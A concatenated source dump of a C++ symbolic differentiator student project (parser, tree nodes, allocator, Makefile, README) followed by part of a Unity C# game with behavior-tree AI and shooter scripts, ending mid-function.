std::memset(static_array, 0, SIZE_ARRAY_FOR_STR);
std::cout << "Enter the str : " << std::endl;
//--------------------------------------------------------//
int i{0};
errno = 0;
while(c != '\n')
{
if (i == SIZE_ARRAY_FOR_STR)
throw std::runtime_error("Too big string { We cannot read such a big string for input }");
scanf("%c", &c);
if (errno != 0)
throw std::runtime_error("error in scanf function { Reading string from input }");
if (c == '\n' && flag == 0)
{
flag = 1;
continue;
}
static_array[i] = c;
++i;
}
//______________________________________________________//
s = String(static_array);
return in;
}
std::ostream& operator<<(std::ostream& out, const String& s){
out << "Size of str_ is : " << s.size_ << std::endl;
out << "Number of bytes is : " << s.num_bytes_ << std::endl;
if(s.num_bytes_ == 0)
out << "{}" << std::endl;
else{
out << "{" << s.str_ << "}" << std::endl;
}
return out;
}
char* String::GetStr() const noexcept {
return str_;
}
int String::GetNumBytes() const noexcept {
return num_bytes_;
}
int String::size() const noexcept { return size_; }
bool String::empty() const noexcept {
return num_bytes_;
}
String String::ParseShortMathNotation() const {
if(!size_)
return String();
if(size_ != num_bytes_ - 1)
throw std::runtime_error("this string contain not ASCII symbols");
/*Create new string for filling it with short representation of the initial expression*/
char * shortrep = new char[num_bytes_];
std::memset(shortrep, '\0', num_bytes_);
char* cur = str_;
char* copy = shortrep;
assert(cur);
while(*cur != '\0')
{
switch(*cur)
{
case 'e' :
case 'x' : // the only available variable
case '*' :
case '/' :
case '^' :
case '+' :
case '-' :
case '(' :
case ')' :
case '0' :
case '1' :
case '2' :
case '3' :
case '4' :
case '5' :
case '6' :
case '7' :
case '8' :
case '9' :
/* this symbol can appear only in case of arguments to logarithm, so
* You should use it only in the right way!!!*/
case ',' :
*copy = *cur;
++copy;
break;
case ' ' :
break;
case '.' : // only letter of number can preceed point otherwise we generate an exception
if( cur != str_ && *(cur - 1) >= '0' && *(cur - 1) <= '9'){
*copy = *cur;
++copy;
break;
}
else {
std::cerr << "ERROR data in given string : " << str_ << std::endl;
delete [] shortrep;
throw std::runtime_error("Bad result with point in the given string");
}
/*This moment I've decided not to write a lot of checks at the cases of space between letters in functions
* name and different types of errors in it due to in that case the code will be so huge but not very cute*/
case 'c' : // avaliable tokens are : [cos] and [ctg]
{
++cur;
if(*cur == 'o') // cos
*copy = 'c';
else // ctg
*copy = 'g';
++copy;
++cur; // one more increment in the instruction after switch
break;
}
case 's' :
*copy = 's';
++copy;
cur += 2;
break;
case 't' :
*copy = 't';
++cur;
++copy;
break;
case 'l' :
*copy = 'l';
++copy;
cur += 2;
break;
case 'a' :
cur += 3;
if (*cur == 'c') // arccos
*copy = 'a';
else *copy = 'n'; //arcsin
++copy;
cur += 2;
break;
default : //this branch for the case of RUBBISH letters in the given string
std::cerr << "ERROR data in given string\n" << "The element is : " << *cur << std::endl;
delete [] shortrep;
throw std::runtime_error("Bad letter in given string");
}
++cur;
}
String str(shortrep);
delete [] shortrep;
return str;
}<file_sep>//
// Created by denis on 21.08.19.
//
#ifndef PARCE_CALCULATOR_PARSER_HPP
#define PARCE_CALCULATOR_PARSER_HPP
#include "../String_Lib/String.hpp"
#include <cassert>
#include <utility>
#include "Number.hpp"
#include "Symbol.hpp"
#include "BinaryTree.hpp"
enum {
SIZE_ARRAY_PTR_FUNC = 4,
SIZE_ARRAY_EXACT_SYMBOL_DIFF = 12
};
#include <fstream>
#define func(type) static_cast<const char>(FUNC::type)
enum class FUNC: const char{
SIN = 's',
COS = 'c',
ARCSIN = 'n',
ARCCOS = 'a',
LOG = 'l',
TG = 't',
CTG = 'g'
};
class differentiator final
{
public:
template<class StringType>
explicit differentiator(StringType&& str);
differentiator(const differentiator& copy) = delete;
differentiator& operator=(const differentiator& copy) = delete;
void ShowResult();
private:
Obj* GetG();
Obj* GetN();
Obj* GetE();
Obj* GetT();
Obj* GetP();
Obj* GetF();
Obj* GetU(); // get unknown
Obj* Differentiate(Obj* root)const;
Obj* make_copy(Obj* obj)const;
//-------------------Functions for differentiating different types of tokens------------------//
Obj* Diff_Value(Obj* obj)const;
Obj* Diff_Func(Obj* obj)const;
Obj* Diff_Unknown(Obj* obj)const;
Obj* Diff_Operator(Obj* obj)const;
//____________________________________________END________________________________________//
Obj* Minus(Obj* obj)const;
Obj* Plus(Obj* obj)const;
Obj* Sinus(Obj* obj)const;
Obj* Cosinus(Obj* obj)const;
Obj* Logarithm(Obj* obj)const;
Obj* Arcsin(Obj* obj)const;
Obj* Arccos(Obj* obj)const;
Obj* Tg(Obj* obj)const;
Obj* Ctg(Obj* obj)const;
Obj* Multiplication(Obj* obj)const;
Obj* Division(Obj* obj)const;
Obj* Exponentiation(Obj* obj)const;
//________________________________________________________________________________________//
Obj* MakeOperatorForMulDiv(Obj* obj, const char link)const;
Obj* PlusMinusDiff(Obj* obj, const char type) const;
Obj* Create(int type, const char c) const;
Obj* Create(float v) const;
void LaTeX() const;
private :
BinaryTree primary_expression;
BinaryTree differentiate_expression;
String _str;
typedef Obj* (differentiator::*ptr_array_funcs)(Obj* obj) const;
ptr_array_funcs diff_type[SIZE_ARRAY_PTR_FUNC] = { &differentiator::Diff_Value,
&differentiator::Diff_Operator,
&differentiator::Diff_Func,
&differentiator::Diff_Unknown };
const char* _cur = nullptr;
ptr_array_funcs func[SIZE_ARRAY_EXACT_SYMBOL_DIFF] = { &differentiator::Plus,
&differentiator::Minus,
&differentiator::Multiplication,
&differentiator::Division,
&differentiator::Exponentiation,
&differentiator::Sinus,
&differentiator::Cosinus,
&differentiator::Arcsin,
&differentiator::Logarithm,
&differentiator::Arccos,
&differentiator::Tg,
&differentiator::Ctg };
};
template<class StringType>
differentiator::differentiator(StringType&& str) : _str(std::forward<StringType>(str))
{
_cur = _str.GetStr();
}
#endif //PARCE_CALCULATOR_PARSER_HPP
<file_sep>
The second name of this project is _**`Acram Alpha`**_. The reason for it is that this program was sent as
a task for entering the Acronis company as the base department in MIPT.
This is my pivotal project of the summer 2019.
It took me about ten days to write it.
The main thing of this project that there isn't any usage of STL library. A short version of String_Lib is used in here.
And all the containers were substituted with common arrays. ( It was a restriction from the Acronis company )
----------------------------------------
In input this program gets string with traditional mathematical notation
taking into account the natural priority of operations and without extra brackets. For output the program
gives a derivative of the input function dumping it into PDF-file format.
The input this moment must have a strict representation. The rules for it as follows :
1. Form of input functions : `sin()` `cos()` `tg()` `ctg()` `log(smth, smth)` `arcsin()` `arccos()` **without any spaces**
2. e ( aka exponent ) can be used only as a base for log() function
3. All the float values should be entered without spaces
4. ',' can be used only as a separator for logarithm function
Simple parser convert the input traditional math notation into a short one. It has the definite form which contain such tokens :
* float values
* unknown variables (only 'x', 'e')
* functions (sin -> 's', cos -> 'c', tg -> 't', ctg -> 'g', arcsin -> 'n',
arccos -> 'a', log -> 'l')
* binary operators ('-', '+', '*', '/', '^')
The short math expression cannot has any spaces
-------------------------------------------------------------
Then the program will parse this expression and make binary tree of this tokens;
>And some words about type of nodes in the tree :
The base class is `Obj` -- contains the common data about each node such as : parent, left_ch, right_ch pointers
and the type of node.
One of derivative class is `Number` -- contains the extra information for nodes which
represent us the float values only.
Another derivative class is `Symbol` -- contains the extra information for nodes of functions,
>operators, unknown names;
After it the program will create the derivative_tree using the certain rules for different nodes
>To say the truth the design of program is using array of pointers to member functions for dealing
>with different type of nodes by calling the match function based on its type
After it differentiator calls the function for simplifying tree and deal with situations such as :
`(left_ch * 0) -> 0`, `(left_ch * 1) -> left_ch`, `(0 / right_ch) -> 0`,
`(1 ^ right_ch) -> 1` etc.
The last function which differentiator calls is LaTeX() - which dump all the results in Latex script;
----------------------------------------------------------------------------
And finally some examples of working differentiator :
-------------------------------------------------
1. [func_1](https://github.com/DenisEvteev/differentiator/blob/master/out/func_1.pdf)
2. [func_2](https://github.com/DenisEvteev/differentiator/blob/master/out/func_2.pdf)
3. [func_3](https://github.com/DenisEvteev/differentiator/blob/master/out/func_3.pdf)
Some updated examples in the form the Acronis company wanted me :
---------------------------------------------------
1. [all_functions](https://github.com/DenisEvteev/differentiator/blob/master/new_tests/all_functions.pdf)
2. [smth_minus_smth_simplification](https://github.com/DenisEvteev/differentiator/blob/master/new_tests/smth_minus_smth.pdf)
And for the future of the project TODO list :
-------------------------------------------
* [x] Examine the input expression for errors
* [x] Convert input expression with correct math form of functions to tokens name (sin -> 's', arccos -> 'c')
* [ ] Print exponent in right position for function
* [ ] To make it work in browser
<file_sep>//
// Created by denis on 22.08.19.
//
#ifndef PARCE_CALCULATOR_OBJ_HPP
#define PARCE_CALCULATOR_OBJ_HPP
#include "TrackingAllocator.hpp"
#include <iostream>
#define SALT -666
/*This is the base class for different types of nodes These are:
* 1) values will contain float value : 1, 10.02, -19, -1002.4
* 2) operators will contain char field with it value : +, -, *, /, ^
* 3) functions will contain char field with it name : s, c, n, l
* 4) unknown will contain char symbols like : x, y, z*/
enum Token {
Value,
Operator,
Func,
Unknown
};
class Obj {
public:
typedef TrackingAllocator<Obj> o_alloc;
typedef std::allocator_traits<o_alloc> o_traits;
Obj(int type, Obj* par, Obj* right, Obj* left);
Obj(Obj&& obj) = delete;
Obj(const Obj& obj) = delete;
virtual Obj* operator()(Obj* left, Obj* right);
//------------setters---------------------//
void set_parent(Obj* par);
void set_right(Obj* right);
void set_left(Obj* left);
//---------------------------------------//
void MakeChild(Obj* child);
virtual void print_info() const
{
std::cout << "Type of this object is : " << type_ << std::endl;
}
virtual Obj* copy() const
{
std::cout << "Copy method in base class has worked" << std::endl;
return nullptr;
};
virtual bool operator==(const Obj& obj) const;
void remove(Obj* root);
Obj* create(int type) const;
//------------getters---------------------//
int get_type() const;
Obj* get_left()const;
Obj* get_right()const;
Obj* get_parent()const;
//---------------------------------------//
static o_alloc alloc;
protected:
int type_;
Obj* parent_;
Obj* right_;
Obj* left_;
};
#endif //PARCE_CALCULATOR_OBJ_HPP
<file_sep>#include <iostream>
#include "src/differentiator.hpp"
#include "String_Lib/String.hpp"
void MyNewHandler();
int main()
{
std::set_new_handler(MyNewHandler);
String traditional_math_notation;
try
{
std::cin >> traditional_math_notation;
if (!traditional_math_notation.eng())
{
std::cerr << "Error : Input string should contain only ASCII symbols\n";
std::exit(EXIT_FAILURE);
}
// create the short mathematical notation of the input expression
String short_math_notation = traditional_math_notation.ParseShortMathNotation();
#ifdef DEBUG
std::cout << short_math_notation << std::endl;
#endif
differentiator parser(std::move(short_math_notation));
parser.ShowResult();
}
catch (const std::exception& excpt)
{
std::cerr << excpt.what() << std::endl;
}
return 0;
}
void MyNewHandler(){
std::cerr << "operator new cannot allocate more memory\n";
std::abort();
}<file_sep>//
// Created by denis on 22.08.19.
//
#include "Number.hpp"
Number::Number(int code, float val) : Obj(code, nullptr, nullptr, nullptr), val_(val)
{}
Number::Number(Number&& num)noexcept : Obj(num.type_, num.parent_, num.right_, num.left_){
val_= num.val_;
//Destory the information in num
num.val_ = 0;
num.type_ = SALT;
num.parent_ = nullptr;
num.left_ = nullptr;
num.right_ = nullptr;
}
Number& Number::operator=(Number &&num)noexcept {
//Move data
type_ = num.type_;
parent_ = num.parent_;
left_ = num.left_;
right_ = num.right_;
val_= num.val_;
//Destory the information in num
num.val_ = 0;
num.type_ = SALT;
num.parent_ = nullptr;
num.left_ = nullptr;
num.right_ = nullptr;
return *this;
}
float Number::get_val() const {
return val_;
}
Obj* Number::copy() const {
Number* copy_val = n_traits::allocate(Number::alloc_, 1);
n_traits::construct(Number::alloc_, copy_val, type_, val_);
return copy_val;
}
void Number::print_info() const {
std::cout << val_;
}
Obj* Number::create(Obj* obj){
obj = n_traits::allocate(Number::alloc_, 1);
auto num = dynamic_cast<Number*>(obj);
if(num){
n_traits::construct(Number::alloc_, num, std::move(*this));
return num;
}
return nullptr;
}
Number* Number::create(int type, float val) const
{
Number* ptr = n_traits::allocate(Number::alloc_, 1);
n_traits::construct(Number::alloc_, ptr, type, val);
return ptr;
}
bool Number::operator==(const Obj& obj) const
{
auto rhs_ptr = dynamic_cast<const Number*>(&obj);
return (rhs_ptr->type_ == type_ && rhs_ptr->val_ == val_);
}
Number::n_alloc Number::alloc_ = Number::n_alloc();
<file_sep>CXX = g++
CXXFLAGS = -Wall -std=c++17 -O3
#All objective files in the project without external libraries [String_Lib]
OBJS = src/BinaryTree.o src/differentiator.o src/Obj.o src/Number.o src/Symbol.o main.o
#Objective file connected with a String_Lib
OBJ_STRING = String_Lib/String.o
OBJS += $(OBJ_STRING)
STRING_HEADER = String_Lib/String.hpp
COMMON_HEADERS = src/Obj.hpp src/Symbol.hpp src/Number.hpp
BINARY_TREE_HEADERS := $(COMMON_HEADERS) src/BinaryTree.hpp $(STRING_HEADER)
ALLOCATOR = src/TrackingAllocator.hpp
.PHONY : all
all : AcramAlpha
AcramAlpha : $(OBJS)
$(CXX) -o $@ $^
main.o : src/differentiator.hpp
src/BinaryTree.o : $(BINARY_TREE_HEADERS)
src/Obj.o : $(ALLOCATOR) src/Obj.hpp
src/Symbol.o : $(COMMON_HEADERS)
src/Number.o : src/Obj.hpp src/Number.hpp
src/differentiator.o : $(BINARY_TREE_HEADERS) src/differentiator.hpp
String_Lib/String.o : String_Lib/String.hpp
.PHONY : clean
clean :
-rm src/*.o
-rm String_Lib/*.o
rm AcramAlpha<file_sep>//
// Created by denis on 22.08.19.
//
#ifndef PARCE_CALCULATOR_SYMBOL_HPP
#define PARCE_CALCULATOR_SYMBOL_HPP
#include "Obj.hpp"
#include "Number.hpp"
#include <cmath>
#include <iostream>
enum Index {
Plus, //0
Minus,
Multip,
Division,
Exponen, //4
Sinus, //5
Cosine,
Arcsine,
Log,
Arccosine,
Tg,
Ctg, //11
Variable, //12
Exponenta, // this
BOUND = Sinus
};
class Symbol : public Obj{
typedef TrackingAllocator<Symbol> s_alloc;
typedef std::allocator_traits<s_alloc> s_traits;
public:
Symbol(int code, const char name);
Obj* copy() const override;
Symbol* create(int code, char c = '\0') const;
char get_name() const
{
return name_;
}
int get_id() const
{
return id_;
}
void print_info() const
{
std::cout << name_;
}
bool operator==(const Obj& obj) const override;
Number* calc(float x, float y) const;
static s_alloc alloc_; // the fact that this field is static make me feel much better!!!
void set_name(const char c);
private:
void deduce_id(const char c);
char name_;
/*This index field is used to invoke a function via pointer-to-member
* using array of pointers in the classes of high layer.
* It was added to the implementation on the 18.05.2020 due to
* this project was reorganized to reduce all the usage of STL library
*
* [ Notice ] : this value will be set directly in the constructor of Symbol object
* via switch construction where the default value represents the case of error*/
Index id_;
};
#endif //PARCE_CALCULATOR_SYMBOL_HPP
<file_sep>//
// Created by denis on 28.07.19.
//
#ifndef VEC_LIB_TRACKINGALLOCATOR_HPP
#define VEC_LIB_TRACKINGALLOCATOR_HPP
#include <iostream>
#include <new>
/*Just the implementation of the standard function for perfect forwarding*/
template < class T >
T &&my_forward(std::remove_reference_t< T > &obj);
template < class T >
class TrackingAllocator {
public:
using value_type = T;
using pointer = T *; // here the rule of deducting pointers work
using reference = T &;
TrackingAllocator() = default;
~TrackingAllocator() = default;
template < class U >
struct rebind {
using other_alloc = TrackingAllocator< U >;
};
template < class U >
TrackingAllocator(const TrackingAllocator< U > &alloc) {}
template < class U >
TrackingAllocator< T > &operator=(const TrackingAllocator< U > &alloc) {}
pointer allocate(std::size_t num_objects) const {
++count_allocations;
return static_cast<pointer>(::operator new(sizeof(T) * num_objects));
}
void deallocate(pointer ptr, std::size_t num_objects) const {
::operator delete(ptr);
}
template <
class U,
class... Args
>
void construct(U *ptr, Args &&... args) const {
new(ptr) U(my_forward< Args >(args)...);
}
template < class U >
void destroy(U *ptr) const {
ptr->~U();
}
std::size_t GetNumberAllocations() const {
return count_allocations;
}
private:
static std::size_t count_allocations;
};
template < class T >
T &&my_forward(std::remove_reference_t< T > &obj) {
return static_cast<T &&>(obj);
}
template < class T >
typename std::size_t TrackingAllocator< T >::count_allocations = 0;
#endif //VEC_LIB_TRACKINGALLOCATOR_HPP
<file_sep>//
// Created by denis on 22.08.19.
//
#pragma once
#include "Obj.hpp"
class Number : public Obj{
typedef TrackingAllocator<Number> n_alloc;
typedef std::allocator_traits<n_alloc> n_traits;
public:
Number(int code, float val);
//move constructor
Number(Number&& num)noexcept;
//move assignment operator
Number& operator=(Number&& num) noexcept;
bool operator==(const Obj& obj) const override;
Number(const Number& num) = delete;
Number* create(int type, float val = 0)const;
Obj* create(Obj* obj);
void print_info()const;
Obj* copy()const override;
//-------getters-----------//
float get_val()const;
static n_alloc alloc_;
private:
float val_;
};
|
23f1e16b3a34f1fc6a3fcb073a28ea1d94737d0c
|
[
"Markdown",
"Makefile",
"C++"
] | 16
|
C++
|
DenisEvteev/differentiator
|
c76f313e00d4beb807509f71a86008893f440439
|
5a610bab2050520caaff299fcb2623f753ccdd21
|
refs/heads/master
|
<repo_name>hmg11123/4leaf-web-project<file_sep>/src/components/layout/Header.js
import React from "react";
import logo from "../images/longLogo.png";
import { HashRouter as Router, Link } from 'react-router-dom';
class Header extends React.Component {
render() {
return (
<div className="Header">
<Router>
<Link to="/">
<img src={logo} className="Header__logo" />
</Link>
<ul className="login">
<li className="h-btn">
<Link to="/" >SIGN IN</Link>
</li>
<li className="h-btn">
<Link to="/" >SIGN UP</Link>
</li>
</ul>
<ul className="main">
<li className="h-btn">
<Link to="/" >회사소개</Link>
</li>
<li className="h-btn">
<Link to="/" >개발의뢰</Link>
</li>
<li className="h-btn">
<Link to="/" >가격안내</Link>
</li>
<li className="h-btn">
<Link to="/" >문의하기</Link>
</li>
</ul>
</Router>
</div>
)
}
}
export default Header;<file_sep>/src/components/layout/Footer.js
import React from "react";
import longLogo from "../images/longLogo.png";
class Footer extends React.Component {
render() {
return (
<div className="Footer">
<div className="Footer__left">
<img src={longLogo} className="Footer__logo" />
</div>
<div className="Footer__center">
<ul>
<li>4LEAF SOFTWARE</li>
<li>대표 윤 상 호</li>
<li><EMAIL></li>
<li>위치 : 대전광역시 서구 계룡로 394번길 14-14</li>
<li>Copyright ⓒ 2020 All rights reserved. By 4LEAF SOFTWARE</li>
</ul>
</div>
</div>
);
}
}
export default Footer;
<file_sep>/src/client/Root.js
import React from "react";
import App from "../App";
import useTitle from "@4leaf.ysh/use-title";
import { HashRouter } from "react-router-dom";
const Root = () => {
useTitle("4LEAF SOFEWARE");
return (
<HashRouter>
<App />
</HashRouter>
);
}
export default Root;
|
767b4b2d750883be656daea1fa77af9dd4ca445a
|
[
"JavaScript"
] | 3
|
JavaScript
|
hmg11123/4leaf-web-project
|
a55e45af7800a9d31ff339ffdffbec12667856c3
|
9f215fbbff3e7384ba95d8cda2d1c462896d37c8
|
refs/heads/master
|
<repo_name>jordanajlouni/ProjectAccountingSoftware-1<file_sep>/Assets/Scripts/SHMUPGameplay/SHMUPBullet.cs
using UnityEngine;
using System.Collections;
public class SHMUPBullet : MonoBehaviour {
private Vector3 m_Velocity = Vector3.zero;
private float m_Speed = 5.5f;
private Transform m_Trans;
public Vector3 Velocity { get { return m_Velocity; } set { m_Velocity = value; } }
private float m_TempKillAfterSeconds = 3.0f;
// Use this for initialization
void Start () {
m_Trans = transform;
}
// Update is called once per frame
void Update () {
UpdatePosition();
if (m_TempKillAfterSeconds <= 0.0f) {
Destroy(this.gameObject);
}
m_TempKillAfterSeconds -= Time.deltaTime;
}
private void UpdatePosition() {
m_Trans.Translate(m_Velocity * Time.deltaTime * m_Speed);
}
}
<file_sep>/Assets/Scripts/Behavior Tree/Composite.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
public abstract class Composite : Behavior {
public List<Behavior> m_Children = new List<Behavior>();
private int m_CurrentIndex;
protected void ResetChildPointer() {
m_CurrentIndex = m_Children.Count - 1;
}
protected Behavior NextChild() {
if (m_CurrentIndex < 0) {
return null;
}
m_CurrentIndex--; // decrement our index so after we leave this function it points to the current child
return m_Children[m_CurrentIndex + 1]; // add 1 to get the correct child
}
}
public class Sequence : Composite {
public Sequence(ref BehaviorTree bt) {
m_BehaviorTree = bt;
}
public override void OnInitialize() {
ResetChildPointer();
m_Current = NextChild();
BehaviorObserver observer = this.OnChildComplete;
m_BehaviorTree.Start(m_Current, observer); //TODO do these need to be refs?
}
public void OnChildComplete(Status status) {
Debug.Log("Sequence OnChildComplete");
Behavior child = m_Current;
if (child.m_Status == Status.BH_FAILURE) {
m_BehaviorTree.Stop(this, Status.BH_FAILURE);
}
if (child.m_Status != Status.BH_SUCCESS) {
Debug.LogError("Sequence - child status should be SUCCESS, but isn't!");
}
m_Current = NextChild();
if (m_Current == null) {
m_BehaviorTree.Stop(this, Status.BH_SUCCESS);
//m_Status = Status.BH_INVALID;
}
else {
BehaviorObserver observer = this.OnChildComplete;
m_BehaviorTree.Start(m_Current, observer);
}
}
public override Status Update(ref Blackboard bb) {
return Status.BH_RUNNING;
}
public override void OnTerminate(Status status) {
Debug.Log("Sequence Terminate");
}
protected BehaviorTree m_BehaviorTree;
protected Behavior m_Current; // is this right? Are we starting from the correct end?
};
public class Decorator : Behavior {
public Behavior m_Child;
public Decorator (Behavior child) {
m_Child = child;
}
public Decorator() {}
public override Status Update(ref Blackboard bb) {
return Status.BH_RUNNING;
}
}
public class Repeat : Decorator {
// A count of < 0 will signify to repeat until failure
public Repeat(ref BehaviorTree bt, Behavior child, int count) : base(child) {
m_Bt = bt;
m_Child = child;
m_TimesToRepeat = count;
}
public Repeat(ref BehaviorTree bt, int count) {
m_Bt = bt;
m_TimesToRepeat = count;
}
public override void OnInitialize() {
if (m_Child == null) {
Debug.LogError("Trying to init Repeat when m_Child isn't set");
}
m_RepeatCount = 0;
BehaviorObserver observer = OnChildComplete;
m_Bt.Start(m_Child, observer);
}
public void OnChildComplete(Status status) {
if (++m_RepeatCount < m_TimesToRepeat || m_TimesToRepeat < 0) {
// reinit the child
// do this instead of "m_Bt.Start(m_Child), since the child still exists in the dequeue.
// Alternatively, we could Bt.Stop then Bt.Start. Perhaps if Terminate functions need to get called,
// that would be the proper way to handle it
m_Child.m_Status = Status.BH_INVALID;
}
else if (m_RepeatCount >= m_TimesToRepeat) {
m_Bt.Stop(m_Child, Status.BH_SUCCESS);
}
}
public override Status Update(ref Blackboard bb) {
return Status.BH_RUNNING;
}
private int m_TimesToRepeat; // set in constructor: number of times we're supposed to repeat the child. -1 for infinite
private int m_RepeatCount; // number of times we've completed and restarted the child
private BehaviorTree m_Bt;
}
public class MockBehavior : Behavior {
public int m_InitializeCalled = 0;
public int m_TerminateCalled = 0;
public int m_UpdateCalled = 0;
public Status m_ReturnStatus = Status.BH_RUNNING;
public Status m_TerminateStatus = Status.BH_INVALID;
public MockBehavior() {}
public override void OnInitialize() {
++m_InitializeCalled;
}
public override void OnTerminate(Status e) {
++m_TerminateCalled;
m_TerminateStatus = e;
}
public override Status Update(ref Blackboard bb) {
++m_UpdateCalled;
return m_ReturnStatus;
}
};
public class MockComposite<T> : Composite {
public MockComposite(BehaviorTree bt, int size) {
for (int i = 0; i < size; ++i) {
m_Children.Add(new MockBehavior());
}
}
// can't overload [] in C#, just make an accessor I guess
public MockBehavior Get(int index)
{
if (index >= m_Children.Count) {
Debug.LogError("Accessing invalid index on MockBehavior! " + index + " out of " + m_Children.Count);
}
return (MockBehavior)m_Children[index];
}
public override Status Update(ref Blackboard bb) {
return Status.BH_RUNNING;
}
}<file_sep>/Assets/Scripts/SHMUPGameplay/SHMUPInputManager.cs
using UnityEngine;
using System.Collections;
public class SHMUPInputManager : MonoBehaviour {
public SHMUPWeaponManager m_WeaponManager;
// Use this for initialization
void Start () {
}
// Update is called once per frame
void Update () {
if (Input.GetKeyDown(KeyCode.UpArrow)) {
m_WeaponManager.ToggleFireDirection(KeyCode.UpArrow);
}
if (Input.GetKeyDown(KeyCode.LeftArrow)) {
m_WeaponManager.ToggleFireDirection(KeyCode.LeftArrow);
}
if (Input.GetKeyDown(KeyCode.DownArrow)) {
m_WeaponManager.ToggleFireDirection(KeyCode.DownArrow);
}
if (Input.GetKeyDown(KeyCode.RightArrow)) {
m_WeaponManager.ToggleFireDirection(KeyCode.RightArrow);
}
}
}
<file_sep>/Assets/Scripts/Behavior Tree/Entity.cs
using UnityEngine;
using System.Collections;
public class Entity : MonoBehaviour {
public Blackboard m_Blackboard;
private BehaviorTree m_Bt;
private Sequence randomMove;
private Flee m_Flee;
private Chase m_Chase;
private bool m_IsChasing = true;
// Use this for initialization
void Start () {
Restart();
}
void Update () {
m_Bt.Tick();
if (Input.GetKeyDown(KeyCode.P))
{
ToggleAggro();
}
if (m_Bt.IsEmpty()) {
Restart();
}
}
public void Restart() {
// Init BB
m_Blackboard = new Blackboard();
m_Blackboard.Trans = transform;
m_Blackboard.Player = GameObject.FindGameObjectWithTag("Player").transform;
m_Blackboard.Destination = transform.position + new Vector3(10, 0, 5);
m_Bt = new BehaviorTree();
m_Bt.m_Blackboard = m_Blackboard;
// Init tree
Repeat repeat = new Repeat(ref m_Bt, -1);
Sequence randomMove = new Sequence(ref m_Bt);
PickRandomTarget pickTarget = new PickRandomTarget();
MoveToPoint moveBehavior = new MoveToPoint();
randomMove.m_Children.Add(moveBehavior);
randomMove.m_Children.Add(pickTarget);
// Try out Chase behavior
m_Chase = new Chase(moveBehavior, m_Bt);
m_Flee = new Flee(moveBehavior, m_Bt);
repeat.m_Child = randomMove;
m_Bt.Start(repeat, this.SequenceComplete);
}
public void SequenceComplete(Status status) {
PickRandomTarget pickTarget = new PickRandomTarget();
MoveToPoint moveBehavior = new MoveToPoint();
randomMove.m_Children.Add(moveBehavior);
randomMove.m_Children.Add(pickTarget);
}
public void ToggleAggro() {
m_Bt.Reset();
if (m_IsChasing) {
m_Bt.Start(m_Flee, this.SequenceComplete);
m_IsChasing = false;
}
else {
m_Bt.Start(m_Chase, this.SequenceComplete);
m_IsChasing = true;
}
}
}
<file_sep>/Assets/Scripts/Behavior Tree/PickRandomTarget.cs
using UnityEngine;
using System.Collections;
public class PickRandomTarget : Behavior {
public override void OnInitialize() {
Debug.Log("PickRandomTarget init");
}
public override Status Update(ref Blackboard bb) {
int xDist = Random.Range(-10, 10);
int zDist = Random.Range(-10, 10);
Vector3 newLocation = new Vector3(xDist, bb.Trans.position.y, zDist);
if ((newLocation - bb.Trans.position).sqrMagnitude >= 8) {
Debug.Log("PickRandomPoint found new point");
bb.Destination = newLocation;
bb.MovementPath = NavGraphConstructor.Instance.FindPathToLocation(bb.Trans.position, newLocation);
bb.PathCurrentIdx = 0;
return Status.BH_SUCCESS;
}
Debug.Log("PickRandomPoint failed to find point");
return Status.BH_RUNNING;
}
}
<file_sep>/Assets/Scripts/Gameplay/PlayerInput.cs
using UnityEngine;
using System.Collections;
public class PlayerInput : MonoBehaviour {
private Transform m_Trans;
private Shooter m_Gun;
// Use this for initialization
void Start () {
m_Trans = transform;
m_Gun = m_Trans.GetComponent<Shooter>();
m_Gun.PlayerTransform = m_Trans;
}
// Update is called once per frame
void Update () {
if (Input.GetKey(KeyCode.F)) {
m_Gun.TryUsingTool();
}
}
}
<file_sep>/Assets/Scripts/SHMUPGameplay/SHMUPWeaponManager.cs
using UnityEngine;
using System.Collections;
public class SHMUPWeaponManager : MonoBehaviour {
public float m_FireRate = 0.5f;
public GameObject m_BulletPrefab;
private bool m_FireUp = false;
private bool m_FireDown = false;
private bool m_FireLeft = false;
private bool m_FireRight = false;
private float m_CooldownTimer = 0.0f;
private Transform m_Trans;
// Use this for initialization
void Start () {
m_Trans = transform;
}
// Update is called once per frame
void Update () {
m_CooldownTimer -= Time.deltaTime;
if (m_CooldownTimer <= 0.0f) {
// reset the cooldown timer if we actually shot
m_CooldownTimer = Fire() ? m_FireRate : 0.0f;
}
}
// return whether we actually fired a shot or not
private bool Fire() {
bool didFire = false;
if (m_FireUp) {
InstantiateBullet(new Vector3(0, 1, 0));
didFire = true;
}
if (m_FireLeft) {
InstantiateBullet(new Vector3(-1, 0, 0));
didFire = true;
}
if (m_FireDown) {
InstantiateBullet(new Vector3(0, -1, 0));
didFire = true;
}
if (m_FireRight) {
InstantiateBullet(new Vector3(1, 0, 0));
didFire = true;
}
return didFire;
}
private void InstantiateBullet(Vector3 direction) {
GameObject bullet = GameObject.Instantiate(m_BulletPrefab, m_Trans.position, Quaternion.identity) as GameObject;
bullet.GetComponent<SHMUPBullet>().Velocity = direction;
}
public void ToggleFireDirection(KeyCode direction) {
switch(direction) {
case KeyCode.UpArrow:
m_FireUp = !m_FireUp;
break;
case KeyCode.LeftArrow:
m_FireLeft = !m_FireLeft;
break;
case KeyCode.RightArrow:
m_FireRight = !m_FireRight;
break;
case KeyCode.DownArrow:
m_FireDown = !m_FireDown;
break;
default:
Debug.LogWarning("Passed a non-direction \"" + direction + "\" to ToggleFireDirection");
break;
}
}
}
<file_sep>/Assets/Scripts/Behavior Tree/MoveToPoint.cs
using UnityEngine;
using System.Collections;
public class MoveToPoint : Behavior {
private float m_DistanceThreshold = 1.5f;
//private float m_TimeSinceLastUpdate = 0f;
//private const float m_TimeBetweenSearches = 0.25f;
public override void OnInitialize() {
Debug.Log("MoveToPoint Init");
}
public override void OnTerminate(Status status) {
Debug.Log("MoveToPoint Terminate");
}
public override Status Update(ref Blackboard bb) {
if (bb.Destination == Vector3.zero) {
// We don't have a destination, return failure
Debug.Log("MoveToPoint failed");
return Status.BH_FAILURE;
}
Debug.DrawLine(bb.Trans.position, bb.Destination, Color.red);
Vector3 toDestination = bb.Destination - bb.Trans.position;
if (toDestination.sqrMagnitude <= m_DistanceThreshold * m_DistanceThreshold) {
// If we've reached our destination, we're done
return Status.BH_SUCCESS;
}
else if (bb.PathCurrentIdx >= bb.MovementPath.Length) {
// if our path index is out of range of our path nodes, return failure
return Status.BH_FAILURE;
}
//else
// Move normally
Debug.DrawLine(bb.Trans.position, bb.MovementPath[bb.PathCurrentIdx], Color.green);
